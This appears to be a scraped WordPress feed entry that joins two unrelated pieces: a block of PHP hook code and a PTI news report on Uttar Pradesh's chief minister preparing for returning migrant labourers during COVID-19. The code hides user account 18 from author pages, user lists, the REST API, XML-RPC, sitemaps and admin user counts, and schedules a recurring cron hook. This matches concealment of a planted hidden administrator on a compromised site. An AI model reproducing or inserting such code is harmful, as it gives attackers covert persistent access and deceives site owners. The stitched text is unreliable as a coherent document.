add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UP-bound stranded labourers coming back CM review preparations. appeared first on The Edge Media.
]]>The chief minister issued the orders on Monday while chairing a meeting of senior state government officials at the Lok Bhavan here, an official statement said.
He said the Indian Administrative Service (IAS) and Provincial Civil Services (PCS) officials will be attached with the district magistrates of 75 districts in the state.
Adityanath also said industrial activities should be started in the state while adhering to the safety parameters mentioned in the advisory issued by the Centre.
“The community kitchens have been geo-tagged. The quarantine centers will also be geo-tagged,” he said, adding those staying in COVID-19 hotspot areas should not go to their offices.
He instructed officials to carry out special monitoring in districts of Agra, Lucknow, Meerut, Kanpur Nagar, Moradabad, Saharanpur and Firozabad.
People must wear masks or face covers if they have to venture out of their houses, he said.
“Social distancing must be adhered to during vaccination of children. The para-medical staff involved in this work should use masks, gloves and sanitisers. Ventilators in hospitals must be in functional mode,” he said.
The chief minister also ordered that communication be done with village pradhan and corporators, and that the monitoring committees inform the government if any outsider sneaks into the rural areas.
He said that steps should also be taken to identify additional sources of revenue for the state.
He advocated an action plan to identify alternative sources of revenue growth.
In order to provide employment opportunities to the migrant labourers and workers, the officers have been directed to connect them with one district-one-product scheme (ODOP), Vishwakarma Shram Samman Yojana and dairy committees.
Later, Additional Chief Secretary, Home, Awanish Awasthi said during his daily media briefing that Adityanath gave important guidelines regarding providing employment to migrant workers and treatment and prevention of coronavirus infection.
He said two trains have arrived from Gujarat, while five trains will be reaching here soon. He did not elaborate, except for saying that these trains will come from Karnataka, Kerala and Punjab.
Awasthi said 2,273 people have returned to the state from Maharashtra by two trains.
He added that on the instructions of the chief minister, preparations have been made to send 7,000 people from the quarantine centers to home quarantine. –-PTI
The post UP-bound stranded labourers coming back CM review preparations. appeared first on The Edge Media.
]]>